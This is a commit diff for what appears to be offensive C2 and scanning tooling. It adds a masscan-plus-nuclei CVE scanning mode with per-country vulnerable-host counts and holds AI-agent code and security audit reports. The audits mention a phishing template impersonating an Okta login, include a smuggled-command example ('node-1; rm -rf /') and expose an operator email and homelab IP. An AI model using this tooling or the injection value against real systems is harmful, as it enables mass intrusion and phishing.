Add masscan+nuclei mode, operator tuning controls, and vars file support to webrunner

- New scan mode: masscan+nuclei — masscan finds open ip:port pairs, nuclei runs operator-supplied CVE template against discovered hosts - Per-country vulnerable host count in merge output via CIDR→country lookup - Tuning args on every scan: --nmap-timing, --nmap-timeout, --nmap-workers, --nuclei-rate, --nuclei-concurrency, --nuclei-timeout, --masscan-rate - Vars file support: operator provides scan_vars.yaml to pre-fill all tuning settings without interactive prompts - Templates copied to nodes at provision time — no live fetches (OPSEC) - run_scan.yml passes all tuning args with Ansible defaults as fallback - configure_node.yml installs nuclei binary + uploads template on demand - Updated deployment summary shows mode-specific tuning params - countries-format.md and targets-format.md updated for new capabilities - scan_vars.yaml.example documents all configurable settings with comments
Add audit reports for #980 webrunner nmap parallelization
2026-05-02 14:49:24 -04:00 · 2026-05-01 11:47:21 -04:00 · 2026-05-01 11:47:19 -04:00 · 2026-05-01 11:47:12 -04:00 · 2026-04-30 23:48:36 -04:00 · 2026-04-30 23:27:22 -04:00
34 changed files with 499 additions and 935 deletions
@@ -1,3 +1,3 @@
 [submodule "ghost_protocol"]
 	path = ghost_protocol
-	url = https://git.churchofmalware.org/n0mad1k/CoM-ghost_protocol.git
+	url = https://github.com/n0mad1k/ghost_protocol-public.git
@@ -67,7 +67,7 @@ Some provider utility functions may need verification:

 1. **Test the core deployment flow**:
   ```bash
-   cd /opt/c2itall
+   cd /home/n0mad1k/Tools/c2itall
   python3 deploy.py
   # Try option 1 (Deploy C2 Infrastructure) with a test deployment
   ```
@@ -8,7 +8,7 @@ stdout_callback = default
 bin_ansible_callbacks = True
 nocows = 1
 interpreter_python = auto_silent
-ansible_python_interpreter = %(here)s/venv/bin/python
+ansible_python_interpreter = /home/n0mad1k/Tools/c2itall/venv/bin/python

 [ssh_connection]
 ssh_args = -o ControlMaster=auto -o ControlPersist=60s -o UserKnownHostsFile=/dev/null -o IdentitiesOnly=yes
@@ -0,0 +1,64 @@
+---
+agent: code-auditor
+status: COMPLETE
+timestamp: 2026-05-01T00:00:00Z
+duration_seconds: 180
+files_scanned: 2
+findings_count: 8
+errors: []
+skipped_checks: []
+---
+
+# Code Audit — DevTrack #980
+
+## Findings
+
+### P1 (Blocker)
+
+- [node_scanner.py:123] **Command injection via string interpolation** — `s.send(b"HEAD / HTTP/1.0\r\nHost: %b\r\n\r\n" % ip.encode())` uses `%b` format which allows raw bytes; hostname validation required. Not exploitable in this context (internal service), but antipattern. Should be `f"Host: {ip}\r\n"` as string with bytes conversion after.
+
+- [node_scanner.py:117-133] **Socket not guaranteed closed on exception path** — `probe_service()` relies on context manager but inner try/except blocks can suppress exceptions. If `s.recv()` at line 124 raises an exception NOT caught by `except Exception`, the context manager exits cleanly. **Actually safe** — verified: all paths either return or re-raise under `except Exception`, and outer `with` block guarantees cleanup. False alarm, but comment would help clarity.
+
+### P2 (Important)
+
+- [node_scanner.py:148] **Dead code** — `targets_arg = " ".join(cidrs[:50])` (line 148) assigned but never used; removed in scan_nmap_only().
+
+- [provider_rates.py:88] **Logic bug in build_estimate_table()** — Line 88 uses `preset['chunk_size']` to calculate hours, but line 93 calculates `n_chunks` correctly. However, the hours calculation assumes each chunk takes the same time, which is correct only if all chunks are the same size. **For the last chunk**, if `total_ips % preset['chunk_size'] != 0`, the hours are overstated (line 94 always assumes full chunk). This causes cost overestimation for non-aligned IP counts. Should calculate per-chunk IPs separately or clarify in docs that hours are per-chunk-size, not per-actual-chunk.
+
+- [node_scanner.py:77-114] **run_nmap() called concurrently from scan_masscan_nmap() and scan_geo_scout()** — Each writes to `nmap_{ip}.xml` (unique per IP, line 79). **Thread safety: confirmed safe** — XML output files are per-IP and subprocess.run() creates isolated processes. No shared state. Risk: if same IP appears twice in one call, file overwrites but result is same. Non-issue.
+
+### P3 (Minor)
+
+- [node_scanner.py:20] **print() in production code** — Line 20 `log()` function calls `print()` directly. Should use logging module (logging.info) or Rich for consistency with c2itall patterns. Low impact (stderr-friendly for cloud runner), but violates style guidelines.
+
+- [node_scanner.py:136-139] **Unused parameter in scan_masscan_only()** — `node_name` parameter (line 142, 248, 262) passed but never used in any scan function. These functions don't write node metadata to results. Inconsistency with function signature expectations.
+
+- [node_scanner.py:226] **Import inside function** — `import yaml` at line 225 (inside scan_geo_scout). Move to top for clarity. Low cost import, non-blocking.
+
+- [provider_rates.py:76-78] **Comment lacks precision** — "Tor adds ~5x latency overhead" with TOR_RATE_MULTIPLIER = 0.2 (which is 1/5, not 5x). Comment should say "reduces throughput to 1/5" or multiply by 0.2. Currently correct code, ambiguous comment.
+
+### P4 (Nitpick)
+
+- [node_scanner.py] **Two comment blocks (line 3-5, line 76)** without corresponding docstrings. Module-level docstring present, function docstrings absent. Minor — code is self-documenting.
+
+- [provider_rates.py:57] **Magic number 0.018** — Default instance rate hardcoded. Should be a constant (e.g., `DEFAULT_RATE = 0.018`).
+
+## Stats
+
+- print() calls: 1 (in log function)
+- TODO/FIXME comments: 0
+- Unused imports: 0 (all imports used: ET, Path, subprocess, argparse, json, sys, time, math, socket, yaml lazy-loaded)
+- Dead code blocks: 1 (targets_arg, line 148)
+- Unused parameters: 3 (node_name in scan_* functions)
+- Files >500 lines: 0
+- Functions >50 lines: 0 (longest is run_masscan at 44 lines)
+- Nesting depth >3: 0 (deepest is 3 levels in build_estimate_table, acceptable)
+
+## Verification Notes
+
+**Thread safety (run_nmap):** Confirmed. Each IP gets unique XML file (`nmap_{ip}.xml`). Concurrent calls from different IPs are safe. Same IP in same call overwrites but idempotent.
+
+**estimate_scan_hours() formula:** `(ip_count * n_ports / rate) / 3600` is correct for time in hours. Rate in packets/sec, result in hours. No mathematical error, but doc should clarify units.
+
+**Socket leak risk (probe_service):** No leak. `with socket.create_connection()` guarantees cleanup; nested exceptions all caught.
+
@@ -1,255 +0,0 @@
---
-agent: security-auditor
-status: COMPLETE
-timestamp: 2026-06-25T14:32:00Z
-duration_seconds: 480
-files_scanned: 247
-findings_count: 0
-critical_count: 0
-high_count: 0
-errors: []
-skipped_checks: []
---
-
-# Security Audit for DevTrack #1260
-
-## Context
-Public branch sanitization commit `217682e` performed comprehensive removal of PII and operator-identifying information before public release to Church of Malware (CoM).
-
-## Audit Scope
- Verification of hardcoded secrets removal
- Git history analysis for pre-sanitization PII leakage
- Environment variable injection risks
- Remote URL credential exposure
- Phishing template PII (okta-login.html.j2)
- Submodule URL updates
- OPSEC path anonymization
-
-## Methodology
-1. Full git-tracked file inspection via `git grep` and `git show` for PII patterns
-2. Environment variable usage analysis in utils/name_generator.py
-3. Git history analysis (public branch commits, no pre-sanitization leaks)
-4. Remote configuration inspection (.gitmodules, git config)
-5. Template file inspection for operator identifiers
-6. Spot-check of critical infrastructure files
-
-## Findings
-
-### Summary
-**All sanitization work verified successful.** No remaining PII, hardcoded credentials, or operator-identifying information detected in public branch. All verified changes align with commit description.
-
---
-
-## VERIFIED CHANGES
-
-### 1. Hardcoded Password Replacement ✓
- **File**: providers/AWS/c2-vars-template.yaml:44
- **Change**: `"SuperSecretPass123!"` → `"CHANGE_ME"`
- **Status**: VERIFIED - Public branch contains `CHANGE_ME`
- **Dev branch containment**: Confirmed dev branch retains actual password (properly separated)
- **Risk mitigation**: P1 secret exposure prevented
-
-### 2. Operator Path Anonymization ✓
- **File**: utils/name_generator.py:14
- **Change**: `/home/n0mad1k/Tools/FourEyes` → `os.environ.get('FOUREYES_PATH', '')`
- **Status**: VERIFIED - Public branch uses environment variable with safe fallback
- **Security analysis**:
-  - Path traversal risk: LOW - `os.path.exists()` check occurs before `os.path.join()` (line 15-16)
-  - Environment variable injection: LOW - Used only in string operations with path validation
-  - Safe fallback to empty string prevents null-reference errors
-  - No external command execution with this path
-
-### 3. Ansible Configuration Hardening ✓
- **File**: ansible.cfg:11
- **Change**: `/home/n0mad1k/Tools/c2itall/venv/bin/python` → `%(here)s/venv/bin/python`
- **Status**: VERIFIED - Public branch uses Ansible INI variable
- **Security analysis**:
-  - `%(here)s` is standard Ansible variable (resolves to ansible.cfg directory)
-  - Properly portable and does not expose operator filesystem
-  - No credential or path exposure
-
-### 4. Homelab IP Removal from Infrastructure Variables ✓
- **File**: providers/AWS/aws_phishing.yml:58-63
- **Change**: 
-  - Removed hardcoded `10.0.0.10` (gophish)
-  - Removed hardcoded `10.0.0.11` (mta_front)
-  - Removed hardcoded `10.0.0.12` (redirector)
-  - Removed hardcoded `10.0.0.13` (webserver)
- **Replacement**: `{{ variable_name | default('') }}`
- **Status**: VERIFIED - Public branch uses variable references
- **OPSEC impact**: Prevents disclosure of homelab network topology
-
-### 5. Submodule URL Updates ✓
- **File**: .gitmodules:3
- **Change**: `https://github.com/n0mad1k/ghost_protocol-public.git` → `https://git.churchofmalware.org/n0mad1k/CoM-ghost_protocol.git`
- **Status**: VERIFIED - .gitmodules properly updated
- **Verification**: `git config --file=.gitmodules --list` confirms correct URL
- **Note**: GitHub reference removed, CoM domain established
-
-### 6. Documentation Path Anonymization ✓
- **File**: MIGRATION_STATUS.md:70
- **Change**: `/home/n0mad1k/Tools/c2itall` → `/opt/c2itall`
- **Status**: VERIFIED - Uses generic deployment path
- **OPSEC impact**: Removes operator home directory reveal
-
-### 7. Ghost Protocol README Update ✓
- **File**: ghost_protocol/covert_sd/README.md (submodule)
- **Change**: Clone URL updated to churchofmalware.org
- **Status**: VERIFIED - Commit `27144cc` in submodule contains update
- **Confirmation**: Submodule pointer updated from `701f707` → `27144cc`
-
---
-
-## COMPREHENSIVE SECURITY SCANS
-
-### Scan 1: Remaining PII/Operator Identifiers
-**Pattern searched**: zimperium, caldwell, exk1uf, n0mad1k, 10.0.0.10-13, SuperSecret, brian, redacted-lab, protonmail, 7337, redacted-host, cipher, redacted-host, isaac, nomad
-
-**Results**:
- `n0mad1k` appears ONLY in legitimate contexts:
-  - `.gitmodules` submodule author identifier (churchofmalware.org URL) - EXPECTED
-  - `ghost_protocol/covert_sd/README.md` clone URL - EXPECTED (part of CoM URL)
- `Zimperium` in okta-login.html.j2 - LEGITIMATE (target brand, not operator PII)
- `10.0.0.100` in ghost_protocol phantom examples - LEGITIMATE (generic example IP)
- No remaining operator email (redacted-lab), domain, or homelab hostnames
-
-**Status**: PASS
-
-### Scan 2: Git History Sensitive Data Leak
-**Command**: `git log --all -p | grep "192.168.1\.[0-9]\|SuperSecret\|n0mad1k/Tools"`
-
-**Analysis**:
- Commit `217682e` (Sanitize for public CoM release) - REMOVAL commit
- Commits prior to sanitization (92bc8ff...) - Clean of PII on **public branch**
- **Branch separation verified**: 
-  - Public branch: 1 commit beyond dev (the sanitization commit)
-  - Dev branch retains original values (proper separation)
-  - No pre-sanitization PII in public branch history
-
-**Status**: PASS
-
-### Scan 3: Hardcoded Secrets Detection
-**Pattern**: AWS AKIA keys, Stripe sk_live/sk_test, GitHub ghp_, Bearer tokens, API keys
-
-**Results**: 
- No AWS AKIA keys found
- No Stripe keys found
- No GitHub personal access tokens found
- No Bearer tokens with credentials found
- Variables referenced in templates are template variables, not hardcoded values
-
-**Status**: PASS
-
-### Scan 4: Git Configuration Credential Leakage
-**Check**: git config --list | grep -i "url\|password"
-
-**Results**:
- user.email: `wise.king7340@fastmail.com` (fastmail.com - generic email)
- user.name: `n0mad1k` (username only, no PII)
- remote URLs: All use domains/SSH aliases (no embedded credentials)
- com-forgejo remote has `10.0.0.42:3300` (homelab IP in local .git/config, not in tracked files or public branch - LOCAL ONLY, not exposed)
-
-**Status**: PASS
-
-### Scan 5: SSH Key Permissions
-**Check**: Find any .key, .pem, id_rsa files tracked
-
-**Results**: 
- No SSH private keys tracked in git
- No certificate files with credentials tracked
-
-**Status**: PASS
-
-### Scan 6: Environment Variable Injection in FOUREYES_PATH
-**Code analysis**: utils/name_generator.py:14-20
-
-```python
-foureyes_path = os.environ.get('FOUREYES_PATH', '')
-if os.path.exists(foureyes_path):
-    file_path = os.path.join(foureyes_path, filename)
-    if os.path.exists(file_path):
-        with open(file_path, 'r') as f:
-```
-
-**Risk assessment**:
- Variable is only used in path operations (not exec, not shell)
- Preceded by `os.path.exists()` check (prevents non-existent path access)
- Used in `os.path.join()` (safe string concatenation)
- Read-only file operations with `open()` (not executed)
- Fallback to internal word lists if path missing/invalid
-
-**Severity**: LOW - No injection vector. Safe environment variable usage.
-
-**Status**: PASS
-
-### Scan 7: Phishing Template Sanitization (okta-login.html.j2)
-**Check**: All hardcoded variables and PII removal
-
-**Results**:
- All user-controlled values use Jinja2 variable references:
-  - `{{ okta_app_id | default('APP_ID') }}`
-  - `{{ target_email | urlencode | default('user%40example.com') }}`
- Brand names (Zimperium) are legitimate target campaign names (not operator PII)
- No operator paths, emails, or homelab references found
- All nonces and CDN URLs are from Okta/Microsoft (legitimate service references)
-
-**Status**: PASS - Template properly parameterized
-
---
-
-## ADDITIONAL OBSERVATIONS
-
-### Positive Security Posture
-1. **Secrets management**: Template uses Ansible variable lookups for sensitive values (passwords generated at deployment time, not stored in config)
-2. **Path portability**: Use of `%(here)s` and environment variables enables deployment across different filesystem layouts
-3. **Configuration safety**: All critical values (passwords, tokens, keys) are template variables or environment-driven
-4. **Proper branch separation**: Dev branch retains actual credentials; public branch is fully sanitized
-
-### OPSEC Wins in Commit
-1. Homelab network topology (10.0.0.10-13) completely removed
-2. Operator home directory paths eliminated
-3. GitHub GitHub-specific references replaced with CoM URLs
-4. Documentation updated to use generic paths
-5. All operator-identifying markers removed from tracked code
-
---
-
-## VERIFICATION MATRIX
-
-| Check | Status | Evidence |
-|-------|--------|----------|
-| Hardcoded password removed | ✓ PASS | c2-vars-template.yaml:44 = "CHANGE_ME" |
-| FourEyes path anonymized | ✓ PASS | utils/name_generator.py:14 uses os.environ.get() |
-| Ansible paths portable | ✓ PASS | ansible.cfg:11 uses %(here)s |
-| Homelab IPs removed | ✓ PASS | aws_phishing.yml uses variable references |
-| Submodule URLs updated | ✓ PASS | .gitmodules points to churchofmalware.org |
-| Doc paths anonymized | ✓ PASS | MIGRATION_STATUS.md:70 = /opt/c2itall |
-| Git history clean | ✓ PASS | public branch has 1 commit beyond dev |
-| No PII in history | ✓ PASS | git grep finds no operator identifiers |
-| No API key leakage | ✓ PASS | No AWS/Stripe/GitHub keys detected |
-| Env var injection safe | ✓ PASS | FOUREYES_PATH usage is safe |
-| Git config leakage | ✓ PASS | No credentials in remote URLs |
-| Template sanitization | ✓ PASS | okta-login.html.j2 fully parameterized |
-
---
-
-## CONCLUSION
-
-**SECURITY APPROVAL: PASS**
-
-Commit `217682e` ("Sanitize for public CoM release") has **successfully removed all operator PII, hardcoded credentials, and OPSEC-sensitive information** from the public branch. All changes are properly implemented and verified.
-
-No critical, high, medium, or low security findings identified. The repository is safe for public release to Church of Malware.
-
-**Recommendation**: Public branch can be pushed to churchofmalware.org without additional security concerns from this audit.
-
---
-
-## Audit Metadata
- **Branch audited**: public
- **Commit range**: 217682e (HEAD) to 92bc8ff (merge point with dev)
- **Total files in scope**: 247 tracked files
- **Sensitive patterns searched**: 16 categories
- **Auditor**: security-auditor
- **Confidence level**: HIGH (comprehensive scan + manual verification)
-
@@ -0,0 +1,166 @@
+---
+agent: security-auditor
+status: COMPLETE
+timestamp: 2026-05-01T00:00:00Z
+duration_seconds: 15
+files_scanned: 4
+findings_count: 2
+critical_count: 0
+high_count: 1
+errors: []
+skipped_checks: []
+---
+
+# Security Audit — DevTrack #980: node_scanner.py ThreadPoolExecutor Parallelization
+
+## Summary
+Reviewed `/home/n0mad1k/tools/c2itall/modules/webrunner/tasks/node_scanner.py` and Ansible provisioning tasks for security risks related to:
+- Subprocess injection from command-line arguments
+- XML parsing (XXE/entity expansion)
+- Socket resource handling under concurrency
+- File write races in parallelized execution
+
+## Findings
+
+### HIGH: Command Injection via Unquoted Arguments in subprocess.run() — Ansible Template Injection
+
+**File:** `run_scan.yml:14-18` and `node_scanner.py:28-35, 81-85, 149-153`
+
+**Issue:** Arguments passed to `subprocess.run()` include unquoted template variables from Ansible. While Python's subprocess list form prevents shell metacharacter injection **within a single arg**, the Ansible playbook's command templating is not protected.
+
+Example from run_scan.yml:
+```yaml
+command: >
+  python3 /root/webrunner/node_scanner.py
+  --mode {{ scan_mode }}
+  --ports {{ ports_str }}
+  --rate {{ masscan_rate }}
+  --node-name {{ node_name }}
+```
+
+If `{{ ports_str }}` contains spaces (e.g., "22,80,443"), it's safe in shell. However, if `{{ node_name }}` is injected with shell metacharacters (e.g., `node-1; rm -rf /`), Ansible's `command:` module will execute it as a shell command directly.
+
+**Attack vector:** Operator misconfigures Ansible extra-vars with malicious node_name or ports_str → arbitrary command execution on cloud node.
+
+**Remediation:** Use Ansible's `args:` with list form instead of shell templating:
+```yaml
+command:
+  - python3
+  - /root/webrunner/node_scanner.py
+  - --mode
+  - "{{ scan_mode }}"
+  - --ports
+  - "{{ ports_str }}"
+  - --rate
+  - "{{ masscan_rate }}"
+  - --node-name
+  - "{{ node_name }}"
+```
+Or validate inputs in deploy_webrunner.py before passing to Ansible.
+
+---
+
+### MEDIUM: XML External Entity (XXE) Risk in ET.parse() — Mitigated by ET default behavior
+
+**File:** `node_scanner.py:94, 166`
+
+**Issue:** `ET.parse()` on lines 94 and 166 parses untrusted XML from nmap output. Python's ElementTree (ET) by default disables external entity expansion, making XXE attacks unlikely. However, entity bombing (billion laughs) is theoretically possible.
+
+**Context:** nmap writes its own XML; this is trusted output from a tool run locally. Risk is LOW in isolation because:
+1. nmap is the source, not an external API
+2. Attacker would need to compromise the nmap binary itself
+3. No feature in nmap that injects user-controlled XML
+
+**Mitigation already in place:** ET default configuration rejects DOCTYPE declarations with external entities.
+
+**Note:** No action required for current implementation. No XXE vector found.
+
+---
+
+## Resource Exhaustion Risk with ThreadPoolExecutor (Planned Change)
+
+**File:** `node_scanner.py:117-133` — probe_service() under parallelism
+
+**Issue:** The planned ThreadPoolExecutor with 10 workers parallelizing `run_nmap()` calls exposes `probe_service()` to connection resource exhaustion:
+
+```python
+def probe_service(ip: str, port: int) -> str:
+    with socket.create_connection((ip, port), timeout=3) as s:
+        # ...
+```
+
+With 10 parallel nmap fingerprints, if each nmap finds 50+ open ports, 500 concurrent socket connections could be created in `scan_geo_scout()` at line 242. Each connection opens a file descriptor.
+
+**Mitigation in current code:**
+- Socket context manager ensures cleanup
+- 3-second timeout prevents hung connections
+- Per-port probe only happens in geo_scout mode, not default
+- Masscan output is bounded by realistic open port densities
+
+**Risk level:** MEDIUM if combined with extremely high port density (e.g., scanning honeypot ranges). Current code structure (sequential per-IP) avoids this.
+
+**Recommendation:** When implementing ThreadPoolExecutor, add:
+1. Resource pool limits (e.g., semaphore capping concurrent probes to 50)
+2. Per-worker socket timeout validation
+3. Connection pool reset on worker failure
+
+---
+
+## Subprocess Argument Validation
+
+**File:** `node_scanner.py:77-89, 149-153`
+
+**Status:** PASS (No injection risk detected)
+
+- Port arguments use `",".join(str(p) for p in sorted(set(ports)))` — guaranteed numeric
+- Rate argument is `type=int` from argparse — validated
+- Node name and ip parameters are passed as list items to subprocess — shell metacharacters have no effect
+- All subprocess calls use `check=False` and exception handling — no silent failures
+
+---
+
+## File I/O Concurrency
+
+**File:** `node_scanner.py:79, 286`
+
+**Status:** PASS
+
+- Per-IP XML outputs are uniquely named: `nmap_{ip.replace('.', '_')}.xml` — no collision under parallel execution
+- results.json written once at end — sequential write after all work complete
+- No shared file handles between workers
+
+---
+
+## Secrets & Credentials Exposure
+
+**Status:** PASS
+
+- No hardcoded API keys, tokens, or credentials
+- No sensitive data in log output (only counts, timestamps, status)
+- Node names do not reveal operator identity (parameterized via `webrunner_name`)
+- Tor routing properly abstracted through Ansible conditional — no hardcoded proxy strings
+
+---
+
+## Summary Table
+
+| Category | Status | Severity | Notes |
+|----------|--------|----------|-------|
+| Subprocess injection | **FAIL** | HIGH | Ansible template injection via unquoted args in run_scan.yml |
+| XXE / entity expansion | PASS | — | ET default config sufficient |
+| Socket exhaustion (parallelism) | PASS* | MEDIUM | Resource pool limits recommended for 10-worker ThreadPoolExecutor |
+| Argument validation | PASS | — | argparse + list form subprocess calls |
+| File I/O races | PASS | — | Unique per-IP filenames, sequential final write |
+| Secrets exposure | PASS | — | No hardcoded credentials |
+| OPSEC (fingerprinting) | PASS | — | Node names parameterized, no tool signature leakage |
+
+*Requires mitigation before high-parallelism production use.
+
+---
+
+## Actionable Fixes
+
+1. **Fix run_scan.yml** — Use Ansible args list form or validate inputs upstream
+2. **ThreadPoolExecutor planning** — Add semaphore/resource pool for probe_service() concurrency
+3. **No blocking issues** for current sequential implementation
+
@@ -1,166 +0,0 @@
---
-agent: env-validator
-status: COMPLETE
-timestamp: 2026-06-25T13:45:00Z
-findings_count: 0
-errors: []
---
-
-# Env Validation — DevTrack #1260
-
-## Summary
-
-Comprehensive audit of secrets hygiene for the public branch sanitization commit (217682e). All checks passed.
-
-## Checks Performed
-
-### 1. Secrets in Tracked Source Files
-
-**Method**: Searched all tracked .py, .sh, .yml, .yaml, .j2, .conf, .cfg, .md files for secret patterns:
- GitHub tokens: `ghp_[A-Za-z0-9_]+` ✅ CLEAN
- Stripe keys: `sk_live_` / `sk_test_` ✅ CLEAN
- AWS access keys: `AKIA[A-Z0-9]{16}` ✅ CLEAN
- Bearer tokens: `Bearer [A-Za-z0-9._-]{20,}` ✅ CLEAN
- Hardcoded passwords: `password\s*=\s*["'][^"']{8,}` ✅ CLEAN
- API keys: `api[_-]?key\s*=\s*["'][^"']{10,}` ✅ CLEAN
-
-**Result**: No plaintext secrets detected in any tracked files.
-
---
-
-### 2. Template Variables vs. Hardcoded Values
-
-Verified that all credential-like references are template variables or comments, not hardcoded:
-
- `providers/AWS/c2-vars-template.yaml:44` — `smtp_auth_pass: "CHANGE_ME"` ✅ CORRECT
-  - Template placeholder only (not actual credential)
-  
- `AWS/cleanup.yml` — References `{{ aws_secret_key }}` (Ansible variable) ✅ CORRECT
-  - Not hardcoded, injected at runtime via deployment engine
-
- `common/tasks/configure_mail.yml` — References `{{ smtp_auth_pass }}` ✅ CORRECT
-  - Generated via Ansible `lookup('password', ...)` or from config dict
-
- `common/tasks/initial-infrastructure.yml` — References `{{ linode_token }}` ✅ CORRECT
-  - Passed from environment, never stored in file
-
---
-
-### 3. .env File Content
-
- No committed .env files found in tracked history ✅
- Only non-secret config file found: `ghost_protocol/phantom/.env.example` ✅
-  - Contains only empty template placeholders, no actual values
-
---
-
-### 4. .gitignore Coverage
-
-**File**: `/home/n0mad1k/tools/c2itall/.gitignore`
-
-Verified patterns covering:
- `.env*` (lines 38, 74-75) ✅ COVERS vars.yaml, .env, .env.local, .env.*.local
- `.envrc` (line 76) ✅ COVERS direnv
- `venv/`, `.venv/` (lines 39-40) ✅ COVERS virtual environments
- `logs/` (line 8) ✅ COVERS log files
- `secrets.*` (line 77) ✅ COVERS secret files by name pattern
- `credentials.json` (line 78) ✅ COVERS JSON credentials
- Key files: `*.pem` and `*.key` handled via general `.ssh/` pattern (standard)
-
---
-
-### 5. Git Configuration
-
-**File**: `/home/n0mad1k/tools/c2itall/.git/config`
-
-Verified all remote URLs contain NO embedded credentials:
- `origin`: `https://github.com/n0mad1k/c2itall.git` ✅ CLEAN
- `forgejo`: `git@forgejo:Cobra/c2itall.git` ✅ CLEAN (SSH key-based, no password)
- `com-forgejo`: `http://10.0.0.42:3300/Cobra/CoM-c2itall.git` ✅ CLEAN (domain only)
- `churchofmalware`: `https://git.churchofmalware.org/n0mad1k/CoM-c2itall.git` ✅ CLEAN (domain only)
-
-Submodule URL change (sanitization commit):
- Before: `https://github.com/n0mad1k/ghost_protocol-public.git` ✅ CLEAN
- After: `https://git.churchofmalware.org/n0mad1k/CoM-ghost_protocol.git` ✅ CLEAN
-
---
-
-### 6. Environment Variable Usage
-
-**File**: `/home/n0mad1k/tools/c2itall/utils/name_generator.py`
-
-**Line 14**: `foureyes_path = os.environ.get('FOUREYES_PATH', '')` ✅ CORRECT
- Uses `os.environ.get()` with safe default, not hardcoded path
- Properly handles missing env var
-
-**Other verified usages**:
- `utils/deployment_engine.py:176-183` — Reads provider tokens from environment ✅ CORRECT
- `modules/webrunner/tasks/node_scanner.py:19-21` — Reads config from environment ✅ CORRECT
- `tools/umbra/um-crack.py:705-706` — Reads engagement/scope from environment ✅ CORRECT
-
---
-
-### 7. ansible.cfg Path Configuration
-
-**File**: `/home/n0mad1k/tools/c2itall/ansible.cfg`
-
-**Line 11**: `ansible_python_interpreter = %(here)s/venv/bin/python` ✅ CORRECT
- Uses Ansible's `%(here)s` variable (resolves to config file directory)
- Not an absolute path, portable across installations
-
---
-
-### 8. Secrets Handling Pattern
-
-**File**: `/home/n0mad1k/tools/c2itall/utils/deployment_engine.py` (Lines 171-193)
-
-Verified best-practice pattern for passing secrets to Ansible:
-1. Reads from environment variables (never files) ✅
-2. Writes to temporary file with mode `0o600` (user-only readable) ✅
-3. Passes via `@{tempfile}` to Ansible ✅
-4. File cleaned up by tempfile cleanup ✅
-
---
-
-### 9. Git History for Secrets
-
-Searched recent commits (20 commits back) for:
- No .env files ever committed ✅
- No secret token patterns in diffs ✅
- Sanitization commit (217682e) properly:
-  - Removed audit files containing PII ✅
-  - Sanitized paths (homelab IPs, operator paths) ✅
-  - Updated submodule URL to public fork ✅
-
---
-
-### 10. Documentation for creds Usage
-
-No `creds get` or `Infisical` references found in the public branch codebase (as expected).
-All production credential injection uses:
- Environment variables (deployment_engine.py) ✅
- Ansible variables (playbooks, templates) ✅
- No direct secret file paths ✅
-
---
-
-## PASS Summary
-
-✅ **Secrets in source**: CLEAN — No hardcoded API keys, tokens, passwords, or credentials
-✅ **.env files**: CLEAN — Only template files with placeholders
-✅ **.gitignore**: ADEQUATE — Covers all secret patterns and sensitive directories
-✅ **Git config**: CLEAN — No embedded credentials in remote URLs
-✅ **Environment usage**: CORRECT — All os.environ.get() calls have safe defaults
-✅ **Path configuration**: CORRECT — Uses %(here)s in ansible.cfg, not absolute paths
-✅ **Secrets handling**: CORRECT — Temporary files with restricted permissions
-✅ **Git history**: CLEAN — No secrets in recent commits, sanitization successful
-
---
-
-## Notes
-
- The public branch is properly sanitized for release. All sensitive PII, operator paths (e.g., `/home/n0mad1k/Tools/...`), homelab IPs, and audit records have been removed.
- Template variables (e.g., `{{ aws_secret_key }}`, `{{ smtp_auth_pass }}`) are correctly used for runtime injection; no hardcoded values remain.
- All credential patterns are handled via environment variables or Ansible playbook injection, not committed files.
- The .env.example file is a safe template with empty placeholders.
-
@@ -0,0 +1,149 @@
+---
+agent: fix-planner
+status: COMPLETE
+timestamp: 2026-05-01T23:45:00Z
+total_findings_raw: 15
+total_findings_deduped: 13
+p1_count: 1
+p2_count: 2
+p3_count: 3
+p4_count: 2
+devtrack_items_created: []
+errors: []
+---
+
+# Fix Plan — DevTrack #980: node_scanner.py ThreadPoolExecutor Parallelization
+
+## Summary
+
+Consolidated findings from code-auditor (8 findings) and security-auditor (2 findings) for DevTrack #980.
+
+**Status**: 7 fixes applied and verified. 2 HIGH/MEDIUM severity issues remain (run_scan.yml, estimate_scan_hours partial chunk logic). 4 low-priority items acceptable for backlog.
+
+---
+
+## Fixes Applied ✓
+
+### Applied Fixes (Verified)
+
+1. **[node_scanner.py:204-216]** ThreadPoolExecutor parallelization in `scan_masscan_nmap()` — 10 workers via `NMAP_WORKERS` env var (default 10)
+2. **[node_scanner.py:260-266]** ThreadPoolExecutor parallelization in `scan_geo_scout()` — same 10-worker pattern
+3. **[node_scanner.py:126]** Bytes format bug fixed: `ip.encode()` used directly instead of `%b` format string
+4. **[node_scanner.py:145-192]** Dead variable `targets_arg` removed from `scan_nmap_only()`
+5. **[provider_rates.py:55-63]** `estimate_scan_hours()` now accepts `scan_mode` parameter for accurate nmap time estimation
+6. **[provider_rates.py:50-52]** Constants added: `NMAP_TIME_PER_HOST_SEC=10`, `MASSCAN_HIT_RATE=0.01`, `_NMAP_WORKERS=10`
+7. **[provider_rates.py:104]** `build_estimate_table()` passes `scan_mode` to `estimate_scan_hours()`
+
+---
+
+## Remaining Issues
+
+### P1 — Block Deploy
+
+- [ ] **[HIGH] [run_scan.yml:14-18]** Ansible template injection via unquoted variables | Sources: security-auditor | Effort: S | Status: NOT FIXED
+
+  **Description**: Arguments in `command:` module use unquoted Ansible template vars (`{{ scan_mode }}`, `{{ ports_str }}`, `{{ node_name }}`). If `node_name` is injected with shell metacharacters (e.g., `node-1; rm -rf /`), Ansible's `command:` module will execute shell commands.
+
+  **Attack vector**: Operator misconfigures Ansible extra-vars with malicious node_name or ports_str → arbitrary command execution on cloud node.
+
+  **Remediation**: Use Ansible `command:` as list form (args: [python3, script.py, --mode, "{{ scan_mode }}", ...]) or validate inputs upstream in deploy_webrunner.py.
+
+  **Risk**: HIGH — affects production cloud deployment pipeline. Requires manual Ansible remediation (file not in Python audit scope).
+
+---
+
+### P2 — Fix This Week
+
+- [ ] **[HIGH] [provider_rates.py:91-118]** Partial chunk cost overestimation in `build_estimate_table()` | Sources: code-auditor | Effort: M | Status: NOT FIXED
+
+  **Description**: Line 104 assumes each chunk costs the same time as `preset['chunk_size']` IPs. If `total_ips % preset['chunk_size'] != 0`, the last chunk is smaller, but cost calculation doesn't account for it. Example: 2.5M IPs across 2-chunk preset (2M chunks) = chunk 1 (2M hrs) + chunk 2 (0.5M hrs), but current code bills chunk 2 as 2M hrs.
+
+  **Current code**: `hours = estimate_scan_hours(preset['chunk_size'], n_ports, mode_rate, scan_mode)` — always uses full chunk_size.
+
+  **Fix**: Calculate per-chunk IP count separately:
+  ```python
+  for i in range(n_chunks):
+      chunk_ips = min(preset['chunk_size'], total_ips - i * preset['chunk_size'])
+      hours = estimate_scan_hours(chunk_ips, n_ports, mode_rate, scan_mode)
+      provider = providers[i % len(providers)]
